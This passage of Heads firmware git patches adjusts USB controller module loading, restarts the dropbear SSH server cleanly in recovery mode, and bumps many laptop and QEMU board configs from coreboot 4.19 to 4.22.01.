-n 1 -r + fi fi -fi } ethernet_activation() From 2aeab5edbb4090f176e918e460ab7e6d02effb40 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 23 Feb 2024 09:44:40 -0500 Subject: [PATCH 022/619] initrd/etc/ash_functions: ehci_pci/xhci-* aren't companion controllers All boards with CONFIG_LINUX_USB=y ship ehci-* and xhci-*, they are not controlled by CONFIG_LINUX_USB_COMPANION_CONTROLLER. Always insert them when initializing USB. Fixes commit 35de2348 Signed-off-by: Jonathon Hall --- initrd/etc/ash_functions | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index d31b034dc..8b52ab6a4 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -324,11 +324,11 @@ enable_usb() insmod /lib/modules/uhci-hcd.ko || die "uhci_hcd: module load failed" insmod /lib/modules/ohci-hcd.ko || die "ohci_hcd: module load failed" insmod /lib/modules/ohci-pci.ko || die "ohci_pci: module load failed" - insmod /lib/modules/ehci-pci.ko || die "ehci_pci: module load failed" - insmod /lib/modules/xhci-hcd.ko || die "xhci_hcd: module load failed" - insmod /lib/modules/xhci-pci.ko || die "xhci_pci: module load failed" sleep 2 fi + insmod /lib/modules/ehci-pci.ko || die "ehci_pci: module load failed" + insmod /lib/modules/xhci-hcd.ko || die "xhci_hcd: module load failed" + insmod /lib/modules/xhci-pci.ko || die "xhci_pci: module load failed" # For resiliency, test CONFIG_USB_KEYBOARD_REQUIRED explicitly rather # than having it imply CONFIG_USER_USB_KEYBOARD at build time. From ebe9db435043d916f412b219c6d3cca7cb109871 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 23 Feb 2024 12:17:47 -0500 Subject: [PATCH 023/619] initrd/bin/network-init-recovery: kill dropbear unconditionally prior of starting it Signed-off-by: Thierry Laurion --- initrd/bin/network-init-recovery | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/initrd/bin/network-init-recovery b/initrd/bin/network-init-recovery index dbd593ffb..fb09d2ff9 100755 --- a/initrd/bin/network-init-recovery +++ b/initrd/bin/network-init-recovery @@ -135,6 +135,11 @@ if [ -n "$dev" ]; then mkdir /etc/dropbear fi echo "Starting dropbear ssh server..." + # Make sure dropbear is not already running + killall dropbear > /dev/null 2>&1 || true + # Start dropbear with root login and log to stderr + # -B background + # -R create host keys dropbear -B -R fi echo "" From fb616f416a1b82d57b1c1fe90c1f5d1e2f3c1f14 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 5 Feb 2024 11:06:11 -0500 Subject: [PATCH 024/619] WiP 4.22.01 fhd patch test + bump all 4.19 boards to 4.22.01 - patches/coreboot-4.22.01/0001-x230-fhd-variant.patch created per - git fetch https://review.coreboot.org/coreboot refs/changes/50/28950/23 && git format-patch -1 --stdout FETCH_HEAD > ~/heads/patches/coreboot-4.22.01/0001-x230-fhd-variant.patch - all boards configs bumped with: - grep -Rn 4.22 boards/ | awk -F "/" {'print $2'}| while read line; do make BOARD=$line coreboot.save_in_oldconfig_format_in_place ; done Signed-off-by: Thierry Laurion --- ...UNTESTED_p8z77-m_pro-tpm1-maximized.config | 2 +- boards/UNTESTED_t420/UNTESTED_t420.config | 2 +- .../UNTESTED_t430-hotp-legacy.config | 2 +- .../UNTESTED_t430-legacy-flash.config | 2 +- .../UNTESTED_t430-legacy.config | 2 +- .../UNTESTED_t520-hotp-maximized.config | 2 +- .../UNTESTED_t520-maximized.config | 2 +- .../UNTESTED_t530-dgpu-hotp-maximized.config | 2 +- .../UNTESTED_t530-dgpu-maximized.config | 2 +- .../UNTESTED_t530-hotp-maximized.config | 2 +- .../UNTESTED_t530-maximized.config | 2 +- ...TED_w530-dgpu-K1000m-hotp-maximized.config | 2 +- ...UNTESTED_w530-dgpu-K1000m-maximized.config | 2 +- ...TED_w530-dgpu-K2000m-hotp-maximized.config | 2 +- ...UNTESTED_w530-dgpu-K2000m-maximized.config | 2 +- boards/UNTESTED_x220/UNTESTED_x220.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2.config | 2 +- .../qemu-coreboot-whiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm1.config | 2 +- .../qemu-coreboot-whiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm2.config | 2 +- .../t420-hotp-maximized.config | 2 +- boards/t420-maximized/t420-maximized.config | 2 +- .../t430-hotp-maximized.config | 2 +- boards/t430-maximized/t430-maximized.config | 2 +- boards/t440p-maximized/t440p-maximized.config | 2 +- .../w530-hotp-maximized.config | 2 +- boards/w530-maximized/w530-maximized.config | 2 +- boards/w541-maximized/w541-maximized.config | 2 +- .../x220-hotp-maximized.config | 2 +- boards/x220-maximized/x220-maximized.config | 2 +- .../x230-hotp-legacy/x230-hotp-legacy.config | 2 +- .../x230-hotp-maximized-fhd_edp.config | 2 +- .../x230-hotp-maximized.config | 2 +- .../x230-hotp-maximized_usb-kb.config | 2 +- .../x230-legacy-flash.config | 2 +- boards/x230-legacy/x230-legacy.config | 2 +- .../x230-maximized-fhd_edp.config | 2 +- boards/x230-maximized/x230-maximized.config | 2 +- .../z220-cmt-maximized.config | 2 +- config/coreboot-p8z77-m_pro-tpm1.config | 80 ++++--- config/coreboot-qemu-tpm1.config | 67 +++--- config/coreboot-qemu-tpm2.config | 67 +++--- config/coreboot-t420-maximized.config | 75 ++++--- config/coreboot-t420.config | 75 ++++--- config/coreboot-t430-legacy.config | 75 ++++--- config/coreboot-t430-maximized.config | 75 ++++--- config/coreboot-t440p.config | 75 ++++--- config/coreboot-t520-maximized.config | 74 ++++--- config/coreboot-t530-dgpu-maximized.config | 75 ++++--- config/coreboot-t530-maximized.config | 75 ++++--- ...coreboot-w530-dgpu-K1000m-maximized.config | 75 ++++--- ...coreboot-w530-dgpu-K2000m-maximized.config | 75 ++++--- config/coreboot-w530-maximized.config | 75 ++++--- config/coreboot-w541.config | 76 ++++--- config/coreboot-x220-maximized.config | 75 ++++--- config/coreboot-x220.config | 75 ++++--- config/coreboot-x230-legacy-flash.config | 75 ++++--- config/coreboot-x230-legacy.config | 75 ++++--- config/coreboot-x230-maximized-fhd_edp.config | 77 ++++--- config/coreboot-x230-maximized.config | 75 ++++--- config/coreboot-z220-cmt.config | 84 +++++--- modules/coreboot | 4 + .../0001-x230-fhd-variant.patch | 198 ++++++++++++++++++ 67 files changed, 1260 insertions(+), 678 deletions(-) create mode 100644 patches/coreboot-4.22.01/0001-x230-fhd-variant.patch diff --git a/boards/UNTESTED_p8z77-m_pro-tpm1-maximized/UNTESTED_p8z77-m_pro-tpm1-maximized.config b/boards/UNTESTED_p8z77-m_pro-tpm1-maximized/UNTESTED_p8z77-m_pro-tpm1-maximized.config index 220513091..ce5cd055d 100644 --- a/boards/UNTESTED_p8z77-m_pro-tpm1-maximized/UNTESTED_p8z77-m_pro-tpm1-maximized.config +++ b/boards/UNTESTED_p8z77-m_pro-tpm1-maximized/UNTESTED_p8z77-m_pro-tpm1-maximized.config @@ -39,7 +39,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config CONFIG_COREBOOT_CONFIG=config/coreboot-p8z77-m_pro-tpm1.config export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_CRYPTSETUP2=y diff --git a/boards/UNTESTED_t420/UNTESTED_t420.config b/boards/UNTESTED_t420/UNTESTED_t420.config index db2917e05..7018efa6f 100644 --- a/boards/UNTESTED_t420/UNTESTED_t420.config +++ b/boards/UNTESTED_t420/UNTESTED_t420.config @@ -1,6 +1,6 @@ # Configuration for a t420 running Qubes 4.1 and other OS, X220 is identical to X230 on the Linux Side of things. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t420.config diff --git a/boards/UNTESTED_t430-hotp-legacy/UNTESTED_t430-hotp-legacy.config b/boards/UNTESTED_t430-hotp-legacy/UNTESTED_t430-hotp-legacy.config index 1c7c527ea..5a3672bad 100644 --- a/boards/UNTESTED_t430-hotp-legacy/UNTESTED_t430-hotp-legacy.config +++ b/boards/UNTESTED_t430-hotp-legacy/UNTESTED_t430-hotp-legacy.config @@ -8,7 +8,7 @@ # Addition vs standard x230 board config: # HOTP_KEY: HOTP challenge for currently supported USB Security dongles export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-legacy.config diff --git a/boards/UNTESTED_t430-legacy-flash/UNTESTED_t430-legacy-flash.config b/boards/UNTESTED_t430-legacy-flash/UNTESTED_t430-legacy-flash.config index 3a7312a50..d99b7ef17 100644 --- a/boards/UNTESTED_t430-legacy-flash/UNTESTED_t430-legacy-flash.config +++ b/boards/UNTESTED_t430-legacy-flash/UNTESTED_t430-legacy-flash.config @@ -4,7 +4,7 @@ # IDEALLY you should flash maximized top and bottom rom images exteranlly once instead. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy-flash.config diff --git a/boards/UNTESTED_t430-legacy/UNTESTED_t430-legacy.config b/boards/UNTESTED_t430-legacy/UNTESTED_t430-legacy.config index 367b1573e..2f3e53e5c 100644 --- a/boards/UNTESTED_t430-legacy/UNTESTED_t430-legacy.config +++ b/boards/UNTESTED_t430-legacy/UNTESTED_t430-legacy.config @@ -5,7 +5,7 @@ # dropbear support(ssh client/server) # e1000e (ethernet driver) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-legacy.config diff --git a/boards/UNTESTED_t520-hotp-maximized/UNTESTED_t520-hotp-maximized.config b/boards/UNTESTED_t520-hotp-maximized/UNTESTED_t520-hotp-maximized.config index dc4a3c671..b5d45a334 100644 --- a/boards/UNTESTED_t520-hotp-maximized/UNTESTED_t520-hotp-maximized.config +++ b/boards/UNTESTED_t520-hotp-maximized/UNTESTED_t520-hotp-maximized.config @@ -5,7 +5,7 @@ # - Forged 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx20/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t520-maximized.config diff --git a/boards/UNTESTED_t520-maximized/UNTESTED_t520-maximized.config b/boards/UNTESTED_t520-maximized/UNTESTED_t520-maximized.config index 2edc71393..76909aae9 100644 --- a/boards/UNTESTED_t520-maximized/UNTESTED_t520-maximized.config +++ b/boards/UNTESTED_t520-maximized/UNTESTED_t520-maximized.config @@ -5,7 +5,7 @@ # - Forged 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx20/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t520-maximized.config diff --git a/boards/UNTESTED_t530-dgpu-hotp-maximized/UNTESTED_t530-dgpu-hotp-maximized.config b/boards/UNTESTED_t530-dgpu-hotp-maximized/UNTESTED_t530-dgpu-hotp-maximized.config index c0d3df922..86adbe84f 100644 --- a/boards/UNTESTED_t530-dgpu-hotp-maximized/UNTESTED_t530-dgpu-hotp-maximized.config +++ b/boards/UNTESTED_t530-dgpu-hotp-maximized/UNTESTED_t530-dgpu-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a t530 with a dGPU. Initialization of the dGPU is necessary in order to use an external monitor via the DisplayPort (either the in-built mini-DisplayPort or the DisplayPort in the dock). In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-dgpu-maximized.config diff --git a/boards/UNTESTED_t530-dgpu-maximized/UNTESTED_t530-dgpu-maximized.config b/boards/UNTESTED_t530-dgpu-maximized/UNTESTED_t530-dgpu-maximized.config index 420b455c3..cd4cae89f 100644 --- a/boards/UNTESTED_t530-dgpu-maximized/UNTESTED_t530-dgpu-maximized.config +++ b/boards/UNTESTED_t530-dgpu-maximized/UNTESTED_t530-dgpu-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a t530 with a dGPU. Initialization of the dGPU is necessary in order to use an external monitor via the DisplayPort (either the in-built mini-DisplayPort or the DisplayPort in the dock). In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-dgpu-maximized.config diff --git a/boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config b/boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config index d8a027c7a..28262a32b 100644 --- a/boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config +++ b/boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a t530 without a dGPU. It will work just fine for a board with a dGPU, except you will not be able to use an external monitor via the mini-displayport or the dock's displayport, though external monitors will work via VGA ports. To initialize the dGPU please use one of the dgpu boards. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-maximized.config diff --git a/boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config b/boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config index dc568db6d..f1b4900d3 100644 --- a/boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config +++ b/boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a t530 without a dGPU. It will work just fine for a board with a dGPU, except you will not be able to use an external monitor via the mini-displayport or the dock's displayport, though external monitors will work via VGA ports. To initialize the dGPU please use one of the dgpu boards. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-maximized.config diff --git a/boards/UNTESTED_w530-dgpu-K1000m-hotp-maximized/UNTESTED_w530-dgpu-K1000m-hotp-maximized.config b/boards/UNTESTED_w530-dgpu-K1000m-hotp-maximized/UNTESTED_w530-dgpu-K1000m-hotp-maximized.config index 7aeeff62a..8efa3206a 100644 --- a/boards/UNTESTED_w530-dgpu-K1000m-hotp-maximized/UNTESTED_w530-dgpu-K1000m-hotp-maximized.config +++ b/boards/UNTESTED_w530-dgpu-K1000m-hotp-maximized/UNTESTED_w530-dgpu-K1000m-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a w530 with the K1000M Nvidia Quadro dGPU. Initialization of the dGPU is necessary in order to use an external monitor whether through the in-build VGA or mini-DisplayPort or via the dock. In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-dgpu-K1000m-maximized.config diff --git a/boards/UNTESTED_w530-dgpu-K1000m-maximized/UNTESTED_w530-dgpu-K1000m-maximized.config b/boards/UNTESTED_w530-dgpu-K1000m-maximized/UNTESTED_w530-dgpu-K1000m-maximized.config index 851541367..ae6d17646 100644 --- a/boards/UNTESTED_w530-dgpu-K1000m-maximized/UNTESTED_w530-dgpu-K1000m-maximized.config +++ b/boards/UNTESTED_w530-dgpu-K1000m-maximized/UNTESTED_w530-dgpu-K1000m-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a w530 with the K1000M Nvidia Quadro dGPU. Initialization of the dGPU is necessary in order to use an external monitor whether through the in-build VGA or mini-DisplayPort or via the dock. In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-dgpu-K1000m-maximized.config diff --git a/boards/UNTESTED_w530-dgpu-K2000m-hotp-maximized/UNTESTED_w530-dgpu-K2000m-hotp-maximized.config b/boards/UNTESTED_w530-dgpu-K2000m-hotp-maximized/UNTESTED_w530-dgpu-K2000m-hotp-maximized.config index 72ffa9bce..d662d600b 100644 --- a/boards/UNTESTED_w530-dgpu-K2000m-hotp-maximized/UNTESTED_w530-dgpu-K2000m-hotp-maximized.config +++ b/boards/UNTESTED_w530-dgpu-K2000m-hotp-maximized/UNTESTED_w530-dgpu-K2000m-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a w530 with the K2000M Nvidia Quadro dGPU. Initialization of the dGPU is necessary in order to use an external monitor whether through the in-build VGA or mini-DisplayPort or via the dock. In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-dgpu-K2000m-maximized.config diff --git a/boards/UNTESTED_w530-dgpu-K2000m-maximized/UNTESTED_w530-dgpu-K2000m-maximized.config b/boards/UNTESTED_w530-dgpu-K2000m-maximized/UNTESTED_w530-dgpu-K2000m-maximized.config index 9cb1abcf2..7faac9137 100644 --- a/boards/UNTESTED_w530-dgpu-K2000m-maximized/UNTESTED_w530-dgpu-K2000m-maximized.config +++ b/boards/UNTESTED_w530-dgpu-K2000m-maximized/UNTESTED_w530-dgpu-K2000m-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a w530 with the K2000M Nvidia Quadro dGPU. Initialization of the dGPU is necessary in order to use an external monitor whether through the in-build VGA or mini-DisplayPort or via the dock. In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-dgpu-K2000m-maximized.config diff --git a/boards/UNTESTED_x220/UNTESTED_x220.config b/boards/UNTESTED_x220/UNTESTED_x220.config index cb1a6be5d..035f90925 100644 --- a/boards/UNTESTED_x220/UNTESTED_x220.config +++ b/boards/UNTESTED_x220/UNTESTED_x220.config @@ -1,6 +1,6 @@ # Configuration for a x220 running Qubes 4.1 and other OS, X220 is identical to X230 on the Linux Side of things. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x220.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index 10bf16daf..1b5308f2a 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -5,7 +5,7 @@ # Nitrokey Pro can also be used by forwarding the USB device from the host to # the VM. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index 442f06dc4..090272412 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index 1a91a32b3..6b714bf9f 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -4,7 +4,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index fce10e7c6..629eeffea 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index 8518aad88..024c7b921 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -5,7 +5,7 @@ # Nitrokey Pro can also be used by forwarding the USB device from the host to # the VM. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index 4cdd6eb8b..b6f76de58 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing)) diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index 761240933..157f6ce15 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -4,7 +4,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 82349b271..684d508e5 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index b9c0fae10..e1e3fc3b2 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -9,7 +9,7 @@ # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 2b951c4ad..97c1b7cf0 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -8,7 +8,7 @@ # Doesn't include (to fit in 7mb image) # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.19 +export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index 3ae3140ef..9a7839875 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ 